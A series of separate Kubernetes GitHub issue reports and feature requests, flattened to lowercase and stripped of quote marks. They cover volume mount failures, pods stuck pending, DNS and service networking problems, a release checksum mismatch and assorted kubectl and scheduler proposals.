solr-3332226780-4kgdd      1/1       running             0          7h\r root@ostack1-utility-container-7910ee61:~  kubectl describe pod billing-1306701657-cd4wm\r name:\t\tbilling-1306701657-cd4wm\r namespace:\tdefault\r node:\t\tku-l5z6akaikg-1-2qzm2akykxx3-kube-minion-l3eusvago62o/192.168.0.9\r start time:\ttue, 18 jul 2017 16:35:58 +0200\r labels:\t\tio.kompose.service=billing\r \t\tpod-template-hash=1306701657\r status:\t\tpending\r ip:\t\t\r controllers:\treplicaset/billing-1306701657\r containers:\r   billing:\r     container id:\t\r     image:\t\tregistry.auvious.com:443/auvious/billing\r     image id:\t\t\r     ports:\t\t9097/tcp, 9990/tcp, 9980/tcp\r     state:\t\twaiting\r       reason:\t\tcontainercreating\r     ready:\t\tfalse\r     restart count:\t0\r     volume mounts:\r       /var from billing-claim0  rw \r       /var/run/secrets/kubernetes.io/serviceaccount from default-token-d72zx  ro \r     environment variables:\r       docker_jmx_rmi_port:\t\t9980\r       docker_spring_profiles_active:\tdocker\r       docker_wait_command:\t\tsleep 10\r       docker_host_ip:\t\t\tlocalhost\r       docker_java_xms:\t\t\t512m\r       docker_java_xmx:\t\t\t1024m\r       docker_jmx_port:\t\t\t9990\r conditions:\r   type\t\tstatus\r   initialized \ttrue \r   ready \tfalse \r   podscheduled \ttrue \r volumes:\r   billing-claim0:\r     type:\tpersistentvolumeclaim  a reference to a persistentvolumeclaim in the same namespace \r     claimname:\tbilling-claim0\r     readonly:\tfalse\r   default-token-d72zx:\r     type:\tsecret  a volume populated by a secret \r     secretname:\tdefault-token-d72zx\r qos class:\tbesteffort\r tolerations:\t<none>\r events:\r   firstseen\tlastseen\tcount\tfrom\t\t\t\t\t\t\t\tsubobjectpath\ttype\t\treason\t\tmessage\r   ---------\t--------\t-----\t----\t\t\t\t\t\t\t\t-------------\t--------\t------\t\t-------\r   3h\t\t1m\t\t87\t{kubelet ku-l5z6akaikg-1-2qzm2akykxx3-kube-minion-l3eusvago62o}\t\t\twarning\t\tfailedmount\tunable to mount volumes for pod \ billing-1306701657-cd4wm_default 6a23b121-6bc6-11e7-9142-fa163ee51036 \ : timeout expired waiting for volumes to attach/mount for pod \ default\ /\ billing-1306701657-cd4wm\ . list of unattached/unmounted volumes= billing-claim0 \r   3h\t\t1m\t\t87\t{kubelet ku-l5z6akaikg-1-2qzm2akykxx3-kube-minion-l3eusvago62o}\t\t\twarning\t\tfailedsync\terror syncing pod, skipping: timeout expired waiting for volumes to attach/mount for pod \ default\ /\ billing-1306701657-cd4wm\ . list of unattached/unmounted volumes= billing-claim0 \r   3h\t\t15s\t\t105\t{kubelet ku-l5z6akaikg-1-2qzm2akykxx3-kube-minion-l3eusvago62o}\t\t\twarning\t\tfailedmount\tmountvolume.setup failed for volume \ kubernetes.io/cinder/6a23b121-6bc6-11e7-9142-fa163ee51036-billing-claim0\   spec.name: \ billing-claim0\   pod \ 6a23b121-6bc6-11e7-9142-fa163ee51036\   uid: \ 6a23b121-6bc6-11e7-9142-fa163ee51036\   with: mount failed: exit status 32\r mounting command: mount\r mounting arguments: /var/lib/kubelet/plugins/kubernetes.io/cinder/mounts/ae944fe9-15b4-4245-9bf3-8eda153c0c88 /var/lib/kubelet/pods/6a23b121-6bc6-11e7-9142-fa163ee51036/volumes/kubernetes.io~cinder/billing-claim0   bind \r output: mount: special device /var/lib/kubelet/plugins/kubernetes.io/cinder/mounts/ae944fe9-15b4-4245-9bf3-8eda153c0c88 does not exist\r \r    \r    \r and cinder show of the volume\r \r \r  cinder show ae944fe9-15b4-4245-9bf3-8eda153c0c88\r +--------------------------------+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+\r | property                       | value                                                                                                                                                                                                                                                                                                     |\r +--------------------------------+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+\r | attachments                    |  {'server_id': 'fc2eeed7-711a-466d-8a07-d969dafad9f9', 'attachment_id': '4eefd14b-5096-4a9c-a5d5-4d343341147b', 'attached_at': '2017-07-18t14:36:03.000000', 'host_name': none, 'volume_id': 'ae944fe9-15b4-4245-9bf3-8eda153c0c88', 'device': '/dev/vdd', 'id': 'ae944fe9-15b4-4245-9bf3-8eda153c0c88'}  |\r | availability_zone              | nova                                                                                                                                                                                                                                                                                                      |\r | bootable                       | false                                                                                                                                                                                                                                                                                                     |\r | consistencygroup_id            | none                                                                                                                                                                                                                                                                                                      |\r | created_at                     | 2017-07-18t13:08:10.000000                                                                                                                                                                                                                                                                                |\r | description                    | none                                                                                                                                                                                                                                                                                                      |\r | encrypted                      | false                                                                                                                                                                                                                                                                                                     |\r | id                             | ae944fe9-15b4-4245-9bf3-8eda153c0c88                                                                                                                                                                                                                                                                      |\r | metadata                       | {'attached_mode': 'rw'}                                                                                                                                                                                                                                                                                   |\r | migration_status               | none                                                                                                                                                                                                                                                                                                      |\r | multiattach                    | false                                                                                                                                                                                                                                                                                                     |\r | name                           | billing-claim0                                                                                                                                                                                                                                                                                            |\r | os-vol-host-attr:host          | ostack4@lvm lvm_iscsi                                                                                                                                                                                                                                                                                     |\r | os-vol-mig-status-attr:migstat | none                                                                                                                                                                                                                                                                                                      |\r | os-vol-mig-status-attr:name_id | none                                                                                                                                                                                                                                                                                                      |\r | os-vol-tenant-attr:tenant_id   | 04a241a0bfc24deebeb5ea53e2581aa6                                                                                                                                                                                                                                                                          |\r | replication_status             | none                                                                                                                                                                                                                                                                                                      |\r | size                           | 10                                                                                                                                                                                                                                                                                                        |\r | snapshot_id                    | none                                                                                                                                                                                                                                                                                                      |\r | source_volid                   | none                                                                                                                                                                                                                                                                                                      |\r | status                         | in-use                                                                                                                                                                                                                                                                                                    |\r | updated_at                     | 2017-07-18t14:36:03.000000                                                                                                                                                                                                                                                                                |\r | user_id                        | f1c34db4c8f5488da1b8acc8e57e958c                                                                                                                                                                                                                                                                          |\r | volume_type                    | none                                \r \r                                                                             \r                                                                                                                                                         \r \r i also tried this example with the same errors\r \r http://clouddocs.web.cern.ch/clouddocs/containers/tutorials/cinder.html kubernetes

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r  \r   what happened  :\r some pods stay  pending  after the nodes in which they were previously running dies.\r \r   what you expected to happen  :\r pods to be assigned to another node and transition to  running .\r \r   how to reproduce it  as minimally and precisely as possible   :\r   create a replication controller with a replica of 1;\r   wait until the pod it creates is  running ;\r   take the node where the pod is running offline;\r   observe that the newly-created pod by the replication controller stays  pending .\r \r that said, i wasn't able to repro this on another cluster with the same  kubectl version  and replication controller template. this is not the first time i observe this issue, though.\r \r   anything else we need to know?  :\r the pod uses node selectors and  podantiaffinity . not sure if either is related though.\r for the node selectors, i made sure that there are available nodes with the required label. i also made sure the  podantiaffinity  conditions are able to be met on the cluster.\r deleting the pod does not help. we create a new pod, but see the same events on  describe pod  or  events :  node '<node that doesn't exist any more>' not found \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.2\ , gitcommit:\ 477efc3cbe6a7effca06bd1452fa356e2201e1ee\ , gittreestate:\ clean\ , builddate:\ 2017-04-19t20:33:11z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.2+coreos.0-4+642b8e765cab78\ , gitcommit:\ 642b8e765cab789da74297cc294f910e37b402a3\ , gittreestate:\ clean\ , builddate:\ 2017-07-11t02:43:48z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration  : aws\r - os  e.g. from /etc/os-release :\r    \r name=\ ubuntu\ \r version=\ 14.04.5 lts, trusty tahr\ \r id=ubuntu\r id_like=debian\r pretty_name=\ ubuntu 14.04.5 lts\ \r version_id=\ 14.04\ \r home_url=\ http://www.ubuntu.com/\ \r support_url=\ http://help.ubuntu.com/\ \r bug_report_url=\ http://bugs.launchpad.net/ubuntu/\ \r    \r - kernel  e.g.  uname -a  :\r    \r linux prod-kube-master000.ec2 3.13.0-107-generic  154-ubuntu smp tue dec 20 09:57:27 utc 2016 x86_64 x86_64 x86_64 gnu/linux\r    \r - install tools: kube-aws\r - others:\r output of  kubectl get rc <rc-name> -o json : https://gist.github.com/borgesgabriel/562feb13235f2c085088b03f2d7636e1\r output of  kubectl describe pod <pod-name> : https://gist.github.com/borgesgabriel/694e2c9e79b192b966d455366411d362\r output of  kubectl get event -w :\r    \r lastseen                        firstseen                       count     name        kind      subobject   type      reason             source              message\r 2017-08-17 00:35:48 +0000 utc   2017-08-16 21:07:20 +0000 utc   413       zk1-l3f47   pod                   warning   failedscheduling   default-scheduler   node 'ip-10-0-22-60.us-west-2.compute.internal' not found\r 2017-08-17 00:36:16 +0000 utc   2017-08-16 21:07:20 +0000 utc   694       zk1-l3f47   pod                 warning   failedscheduling   default-scheduler   node 'ip-10-0-23-27.us-west-2.compute.internal' not found\r 2017-08-17 00:36:48 +0000 utc   2017-08-16 21:07:20 +0000 utc   414       zk1-l3f47   pod                 warning   failedscheduling   default-scheduler   node 'ip-10-0-22-60.us-west-2.compute.internal' not found\r 2017-08-17 00:36:49 +0000 utc   2017-08-16 21:07:20 +0000 utc   695       zk1-l3f47   pod                 warning   failedscheduling   default-scheduler   node 'ip-10-0-23-27.us-west-2.compute.internal' not found\r 2017-08-17 00:36:49 +0000 utc   2017-08-16 21:07:20 +0000 utc   415       zk1-l3f47   pod                 warning   failedscheduling   default-scheduler   node 'ip-10-0-22-60.us-west-2.compute.internal' not found\r 2017-08-17 00:36:49 +0000 utc   2017-08-16 21:07:20 +0000 utc   416       zk1-l3f47   pod                 warning   failedscheduling   default-scheduler   node 'ip-10-0-22-60.us-west-2.compute.internal' not found\r    \r the output of  kubectl get node  does not include either of the nodes whose hostname is \ not found\ .

alpha gcp feature \r \r ipam controller unifies handling of node pod cidr range allocation.\r it is intended to supersede the logic that is currently in range_allocator \r and cloud_cidr_allocator. \r \r note: for this change, the other allocators still exist and the defaults have not been changed.\r \r it supports two modes:\r   cidr range allocations done within the cluster that are then propagated out to the cloud provider.\r   cloud provider managed ipam that is then reflected into the cluster.

kubectl top pod  and node should sort by namespace / name so that results don't jump around.  we should consider adding sort, but only after we make a stable sort the default.\r \r @kubernetes/sig-cli-bugs

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r   \r   what happened  :\r \r kube-proxy is on v1.8.1 but  describe node  shows the prior version of kube-proxy v1.7.1 instead of v1.8.1\r \r    \r system info:\r  machine id:                 e2fd926b05f24e6eb442f96cced03149\r  system uuid:                0004fb00-0006-0000-a625-5caf68f0a898\r  boot id:                    58f00e28-abc9-4765-a565-5292816083e5\r  kernel version:             4.1.12-103.3.8.el7uek.x86_64\r  os image:                   oracle linux server 7.4\r  operating system:           linux\r  architecture:               amd64\r  container runtime version:  docker://1.12.6\r  kubelet version:            v1.7.1\r  kube-proxy version:         v1.7.1\r    \r \r    \r containers:\r   kube-proxy:\r     container id:  docker://b6d6515b7eab5679a535b97a399bbd591a76173243315d17128ef9b180c0a329\r     image:         gcr.io/google_containers/kube-proxy-amd64:v1.8.1\r     image id:      docker-pullable://gcr.io/google_containers/kube-proxy-amd64@sha256:58fd496116bf3d2790279f9c44040bdfa71791aba7a7a1b5ca35025b5a032b9f\r    \r \r   what you expected to happen  :\r \r i expect the latest version of kube-proxy to be shown in  describe node \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r run a kubelet that's a prior version to kube-proxy  haven't tested if it breaks if the kubelet is newer than kube-proxy \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.1\ , gitcommit:\ f38e43b221d08850172a9a4ea785a86a3ffa3b3a\ , gittreestate:\ clean\ , builddate:\ 2017-10-11t23:27:35z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.1\ , gitcommit:\ f38e43b221d08850172a9a4ea785a86a3ffa3b3a\ , gittreestate:\ clean\ , builddate:\ 2017-10-11t23:16:41z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r

 \r   what happened  :\r unable to route network requests from pod to self via service\r \r   what you expected to happen  :\r network requests should work\r \r   how to reproduce it  as minimally and precisely as possible   :\r - deploy new cluster on gke 1.9.4-gke.1  containeros \r - set up pod1, service1  to pod1 \r - bash into pod1 and try to curl service1\r - expected: curl succeeds\r - actual: curl fails  io timeout \r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.9.4-gke.1  also with 1.7.12-gke.1 \r - cloud provider or hardware configuration: gce  gke \r - install tools: none - using gce\r - others: none - fresh install\r \r     long story:\r \r i have a pod p1 running on node n1 and a clusterip service s1 pointing to p1\r i have a pod p2 running on node n1 trying to access service s1  http://s1.default.svc.cluster.local  - this timesout\r i have another pod p3 running on node n2 trying to access service s1  same url  - this works\r \r p2 continuously io timeouts, while p3 works fine. as a workaround i have used nodeselector to make sure p1 is never run with p2 on the same node as a workaround.\r \r now i have a situation where p1 needs to access itself using s1. so pod 1 which has service 1 pointing to it has to access service 1.\r \r already looked at a lot of github issues and so and it seems i need to set hairpin mode or install cni flannel. but it seems that these are only relevant for custom  kubeadm  deployments. i am running on gke and can't change these...so any ideas?

https://github.com/kubernetes/kubernetes/pull/62116 issuecomment-384429675\r \r cc @krzyzacy @maciekpytel \r \r  

 \r hi there!\r \r at my company, we are currently provisioning different kubernetes clusters for each product team. recently, we were talking about the possibility of provisioning a single cluster, and giving each team its own namespace. the problem relies on the fact that several teams are using more than one namespace within their clusters. for example, team a has two namespaces: infrastructure  where they deploy things like ingress controllers or databases  and services  where they deploy microservices . \r if we migrate to a single cluster we could then provision two namespaces:   teama-infrastructure   and   teama-services  . \r it would be nice to provision a single namespace called teama and allow the team to provision sub namespaces under it  something like   teama/infrastructure   .\r \r this would enable the possibility of doing something like:\r \r  kubectl get pods -n teama \r \r     all pods of teama  in all subnamespaces      \r \r  kubectl get pods -n teama/infrastructure \r \r     all infrastructure pods of teama    \r \r what are your thoughts regarding this feature?\r \r regards,

 \r   what happened  :\r kubelet failed to clear subpath dir if the backend nfs volume is not available. \r   what you expected to happen  :\r when the backend nfs volume is not available, the subpath can also be successfully cleared.\r \r   how to reproduce it  as minimally and precisely as possible   :\r mount an network volume and disconnect/de-provision target.\r    \r     spec:\r       volumes:\r         - name: pvc-153619852761014261\r           persistentvolumeclaim:\r             claimname: pvc-153619852761014261\r       containers:\r         - name: container-0\r           image: 'nginx:latest'\r           volumemounts:\r             - name: pvc-153619852761014261\r               mountpath: /nfsvolume\r               subpath: nginx\r    \r \r   anything else we need to know?  :\r e0905 17:24:54.698586   75516 nestedpendingoperations.go:263  operation for \ \\\ flexvolume-huawei.com/fuxinfs/280e83b2-b0ed-11e8-b1a9-fa163e6ae1b1-pvc-282497ed-b0ed-11e8-b1a9-fa163e6ae1b1\\\   \\\ 280e83b2-b0ed-11e8-b1a9-fa163e6ae1b1\\\  \  failed. no retries permitted until 2018-09-05 17:24:55.19850185 +0800 cst m=+846.029487236  durationbeforeretry 500ms . error: \ error cleaning subpath mounts for volume \\\ pvc-153613928346479792\\\   uniquename: \\\ flexvolume-huawei.com/fuxinfs/280e83b2-b0ed-11e8-b1a9-fa163e6ae1b1-pvc-282497ed-b0ed-11e8-b1a9-fa163e6ae1b1\\\   pod \\\ 280e83b2-b0ed-11e8-b1a9-fa163e6ae1b1\\\   uid: \\\ 280e83b2-b0ed-11e8-b1a9-fa163e6ae1b1\\\   : error reading /var/lib/kubelet/pods/280e83b2-b0ed-11e8-b1a9-fa163e6ae1b1/volume-subpaths/pvc-282497ed-b0ed-11e8-b1a9-fa163e6ae1b1/container-0: lstat /var/lib/kubelet/pods/280e83b2-b0ed-11e8-b1a9-fa163e6ae1b1/volume-subpaths/pvc-282497ed-b0ed-11e8-b1a9-fa163e6ae1b1/container-0/0: stale nfs file handle\ \r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.9.7\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :euleros 2.0    \r - kernel  e.g.  uname -a  :3.10.0-327.62.59.83.h96.x86_64\r - install tools:\r - others:\r

what would you like to be added  :\r \r allow specifying the x509 certificate and private key to be used by the runtime client as part of  imagepullsecrets . kubelet should be able to use the secrets when connecting to the registry endpoint. \r \r   why is this needed  :\r \r private registries often require certificate based client authentication. although the docker client will attempt to use the certificate and key if present in  /etc/docker/certs.d/{hostname} , it does not provide the same flexibility as  imagepullsecrets . \r \r issuing and distributing the certificates to unmanaged or autoscaling clusters is not always straight forward. current workarounds include the creation of  daemonsets  to copy the certificates on to each node. this approach can cause issues with versioning and also results in the secrets being exposed at rest.\r \r https://godoc.org/github.com/docker/docker/client withtlsclientconfig\r \r  

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r \r \r   what happened  :\r time to time i am getting failedsync error message timeout expired waiting for volumes to attach/mount for pod while running create pod command. the pod stuck on creation process long time.\r   what you expected to happen  :\r pod created and running \r \r   how to reproduce it  as minimally and precisely as possible   :\r this is sporadic problem and difficult to reproduce. it could happen once in 10s restarts.  \r kubectl create po test.yaml \r   anything else we need to know?  :\r we are experiencing with this problem with kubernetes 1.6  version and vmware 6.0 version.\r   environment  :\r - kubernetes version  use  kubectl version  :\r  kubernetes 1.6\r - cloud provider or hardware configuration:\r    vsphere cloud provider\r - os  e.g. from /etc/os-release :\r ubuntu 14.04\r - kernel  e.g.  uname -a  :\r linux ws-lnx01 4.4.0-97-generic  120~14.04.1-ubuntu smp wed sep 20 15:53:13 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r - install tools:\r govc\r - others:\r looks like this is a bug.\r <!-- do not edit below this line -->\r 

when a gce pd is detached unexpectedly  as was the case in https://github.com/kubernetes/kubernetes/issues/28854 , for example, it results in scary errors in the kernel logs and potentially data corrpution/loss. k8s can not prevent outside actors from triggering unexpected detaches but we should try to detect when they happen and notify users  maybe generate an event saying device was hot removed with safe unmount .

i have two pods in the kube-system namespace, one can resolve dns, when resolve the dns in another pod, it can't resolve the name, and shows the server is null. but the correct dns server already in  /etc/resolv.conf        root@ip-172-18-12-44 heapster   kubectl get pod --namespace=kube-system name                     ready     status    restarts   age busybox                  1/1       running   0          10s heapster-dje5c           1/1       running   0          1h influxdb-grafana-iuebs   2/2       running   0          1h kube-dns-v19-82nif       3/3       running   0          2h  root@ip-172-18-12-44 heapster   kubectl exec --namespace=kube-system busybox -- nslookup kubernetes.default server:    10.0.0.10 address 1: 10.0.0.10 kube-dns.kube-system.svc.cluster.local  name:      kubernetes.default address 1: 10.0.0.1 kubernetes.default.svc.cluster.local  root@ip-172-18-12-44 heapster   kubectl exec --namespace=kube-system heapster-dje5c -- nslookup kubernetes.default server:     null  nslookup: can't resolve 'kubernetes.default': name does not resolve address 1: ::1 localhost address 2: 127.0.0.1 localhost  error: error executing remote command: error executing command in container: error executing in docker container: 1  root@ip-172-18-12-44 heapster   kubectl exec -it --namespace=kube-system heapster-dje5c -- /bin/sh /   cat /etc/resolv.conf  search kube-system.svc.cluster.local svc.cluster.local cluster.local ec2.internal nameserver 10.0.0.10 options ndots:5

is this a bug report or feature request?  : bug report.\r   kubernetes version    use  kubectl version  :\r \r    \r client version: version.info{major:\ 1\ , minor:\ 4\ , gitversion:\ v1.4.5\ , gitcommit:\ 5a0a696437ad35c133c0c8493f7e9d22b0f9b81b\ , gittreestate:\ clean\ , builddate:\ 2016-10-29t01:38:40z\ , goversion:\ go1.7.1\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 4\ , gitversion:\ v1.4.5+coreos.0\ , gitcommit:\ f70c2e5b2944cb5d622621a706bdec3d8a5a9c5e\ , gittreestate:\ clean\ , builddate:\ 2016-10-31t19:16:47z\ , goversion:\ go1.6.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r   what happened  :\r \r occurs only with third-party resources:\r \r    \r $ curl --silent -h \ content-type: application/yaml\  -xpost -d\ $ cat manifest.yaml \  \ http://127.0.0.1:8080/apis/<third_party_domain>/v1/namespaces/<namespace>/<third_party_resource_type>\ \r {\r   \ kind\ : \ status\ ,\r   \ apiversion\ : \ v1\ ,\r   \ metadata\ : {},\r   \ status\ : \ failure\ ,\r   \ message\ : \ the object provided is unrecognized  must be of type thirdpartyresourcedata : invalid character 'a' looking for beginning of value  61706956657273696f6e3a20746563746f6e69632d76657273696f6e2e74 ... \ ,\r   \ reason\ : \ badrequest\ ,\r   \ code\ : 400\r }\r    \r \r the 'a' being the first letter of the manifest  stands for  apiversion  . changing it modifies the returned error.\r \r however, it works just fine after conversion from yaml to json of the object:\r    \r $ curl --silent -h \ content-type: application/json\  -xpost -d\ $ cat manifest.json \  \ http://127.0.0.1:8080/apis/<third_party_domain>/v1/namespaces/<namespace>/<third_party_resource_type>\ \r    \r \r of course, when passing an invalid format, the api server answers that both json and yaml are supported:\r    \r {\r   \ kind\ : \ status\ ,\r   \ apiversion\ : \ v1\ ,\r   \ metadata\ : {},\r   \ status\ : \ failure\ ,\r   \ message\ : \ the body of the request was in an unknown format - accepted media types include: application/json, application/yaml\ ,\r   \ reason\ : \ unsupportedmediatype\ ,\r   \ code\ : 415\r }\r    \r \r it also works wonderfully using  kubectl create -f manifest.yaml  because the yaml manifest is converted client-side to json before calling out to the api server.\r \r   what you expected to happen  :\r \r the adequate serializer should have been selected and should have converted the object server-side, as specified by the  content-type  header.

there are a number of best practices for creating config files, but they are not enforced by the api.  it would be helpful to have a  kubectl lint  command to check for basic best practices and give warnings\r \r things to check for\r -     deployments specify max old replicas\r -     deployments specify both selectors and pt.labels  not just the labels \r -     service ports always have names\r -     configs comment out / remove values for objects managed by other actors  e.g. replicas if managed by hpa  -  do we want to do this \r \r

dear all, \r after deploying the kubernetes cluster v1.4.8 on centos7 vms using kargo, i found out that kubedns pod is not working properly:\r \r  kcsys get pods -o wide \r \r  name                                 ready     status             restarts   age       ip              node \r  dnsmasq-alv8k                        1/1       running            2          1d        10.233.86.2     kubemaster \r \r  dnsmasq-c9y52                        1/1       running            2          1d        10.233.82.2     kubeminion1 \r \r  dnsmasq-sjouh                        1/1       running            2          1d        10.233.76.6     kubeminion2 \r \r  kubedns-hxaj7                        2/3       crashloopbackoff   339        22h       10.233.76.3     kubeminion2 \r \r \r   ps : kcsys is an alias of ''kubectl --namespace=kube-system''\r \r logs for each container  kubedns, dnsmasq  seems ok except healthz container as following:\r \r  2017/03/01 07:24:32 healthz probe error: result of last exec: nslookup: can't resolve 'kubernetes.default.svc.cluster.local'\r , at 2017-03-01 07:24:31.740041088 +0000 utc, error exit status 1\r 2017/03/01 07:24:42 healthz probe error: result of last exec: nslookup: can't resolve 'kubernetes.default.svc.cluster.local'\r , at 2017-03-01 07:24:41.643509613 +0000 utc, error exit status 1\r 2017/03/01 07:24:52 healthz probe error: result of last exec: nslookup: can't resolve 'kubernetes.default.svc.cluster.local'\r , at 2017-03-01 07:24:51.742370072 +0000 utc, error exit status 1 \r \r everything seems running good.\r \r i will be thankful if anyone gives me some help\r

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :\r no\r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r \ kubectl logs\ \r ---\r \r   is this a bug report or feature request?    choose one :\r feature request\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r sometimes running  logs  on a pod that's still pending gives an error, sometimes it silently returns.\r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r    \r zagreb rlftw$ kubectl get pod rlftw170330-205352m0\r name                   ready     status    restarts   age\r rlftw170330-205352m0   0/1       pending   0          55s\r zagreb rlftw$ kubectl logs -f rlftw170330-205352m0\r zagreb rlftw$\r    \r but:\r    \r zagreb rlftw$ kubectl get pod rlftw170330-205124w03\r name                    ready     status              restarts   age\r rlftw170330-205124w03   0/1       containercreating   0          6m\r zagreb rlftw$ kubectl logs -f rlftw170330-205124w03\r error from server  badrequest : container \ main\  in pod \ rlftw170330-205124w03\  is waiting to start: containercreating\r    \r   1 choice: when -f is specified, wait until the pod appears. when not specified, return an error\r   2 choice: return an error always\r \r \r   kubernetes version    use  kubectl version  :\r    \r k version\r client version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.3\ , gitcommit:\ 029c3a408176b55c30846f0faedf56aae5992e9b\ , gittreestate:\ clean\ , builddate:\ 2017-02-22t10:12:27z\ , goversion:\ go1.8\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.3\ , gitcommit:\ 029c3a408176b55c30846f0faedf56aae5992e9b\ , gittreestate:\ clean\ , builddate:\ 2017-02-15t06:34:56z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r   environment  :\r -   cloud provider or hardware configuration  :\r azure cluster\r -   os    e.g. from /etc/os-release :\r mac osx\r -   kernel    e.g.  uname -a  :\r uname -a\r darwin benjamins-macbook-pro.local 16.4.0 darwin kernel version 16.4.0: thu dec 22 22:53:21 pst 2016; root:xnu-3789.41.3~3/release_x86_64 x86_64\r -   install tools  :\r -   others  :\r \r \r   what happened  :\r  kubectl logs  gives error for some pod statuses   containercreating   but fails silently for others   pending  \r \r   what you expected to happen  :\r if  pending , wait for pod to come up  preferable if  -f   or return similar error as  containercreating \r \r   how to reproduce it    as minimally and precisely as possible :\r create a pod that takes a long time to come up, then run  kubectl logs -f $pod_name .\r \r   anything else we need to know  :\r \r

important note: we have only 1 data point for it for now, but we'll rerun the test to confirm.\r \r on 1k node cluster  at least on gke  dns pod is crashlooping because of liveness probe failure:\r    \r killing container with id docker://dnsmasq:pod \ kube-dns-3195784982-55h2h_kube-system 2218b585-5a4f-11e7-be65-42010af00003 \  container \ dnsmasq\  is unhealthy, it will be killed and re-created.\r killing\r liveness probe failed: http probe failed with statuscode: 503\r unhealthy\r readiness probe failed: get http://10.0.8.3:8081/readiness: dial tcp 10.0.8.3:8081: getsockopt: connection refused\r unhealthy\r    \r \r @kubernetes/sig-network-bugs @kubernetes/sig-release-bugs @dchen1107 @bowei. @kubernetes/sig-scalability-misc

in 1.8, we added a new feature https://github.com/kubernetes/features/issues/363  to expose pvc information through summary api so user can check the volume belongs to which pvc. we should add e2e test in summary_test.go under test/e2e_node.

with 1.8, advanced auditing is enabled by default. this means that the  enable_apiserver_basic_audit  flag is no longer accurate:\r https://github.com/kubernetes/kubernetes/blob/e33dd983ed75d15245534c87ddaf843aa617638a/cluster/gce/gci/configure-helper.sh l1355-l1368\r it will no longer enable audit logging  due to lack of a policy file , and would not be \ basic\  auditing.\r \r this flag should either be removed, or explicitly disable the  advancedauditing  feature gate.\r \r   note  : i'm putting this in the 1.8 release because i think it should be cherrypicked in a patch release, but this is not a release blocker.

 \r \r   what happened  :\r    \r curl -ssl https://dl.k8s.io/v1.8.0/kubernetes-server-linux-amd64.tar.gz | sha256sum\r 23422a7f11c3eab59d686a52abae1bce2f9e2a0916f98ed05c10591ba9c3cbad  -\r    \r   what you expected to happen  :\r https://github.com/kubernetes/kubernetes/blob/master/changelog.md v180\r    \r kubernetes-server-linux-amd64.tar.gz | 7082d3330862a6b87826c9e3811dd9f1bd91e828d8c7dd74b9b10c8d7d7438b1\r    \r \r 

>  \r   what happened  :\r not sure yet whether this should be considered as a regression or wai.\r \r basically, with pr https://github.com/kubernetes/kubernetes/pull/48922, we introduced extendedresources that covers all resources outside the default kubernetes.io namespace. in scheduler podfitsresources  , for every extended resource, we check whether the node has enough resource quantity for it. this introduced a behavior change for non oir resources outside the default kubernetes.io namespace. i.e., before pr 48922, scheduler wouldn't reject them even if there was no actual resource advertised by the node, but after pr 48922, scheduler will reject them with insufficientresourceerror.\r \r i am opening this issue to discuss whether this behavior change is ok. please feel free to add any related folks to the discussion.\r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.8+\r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

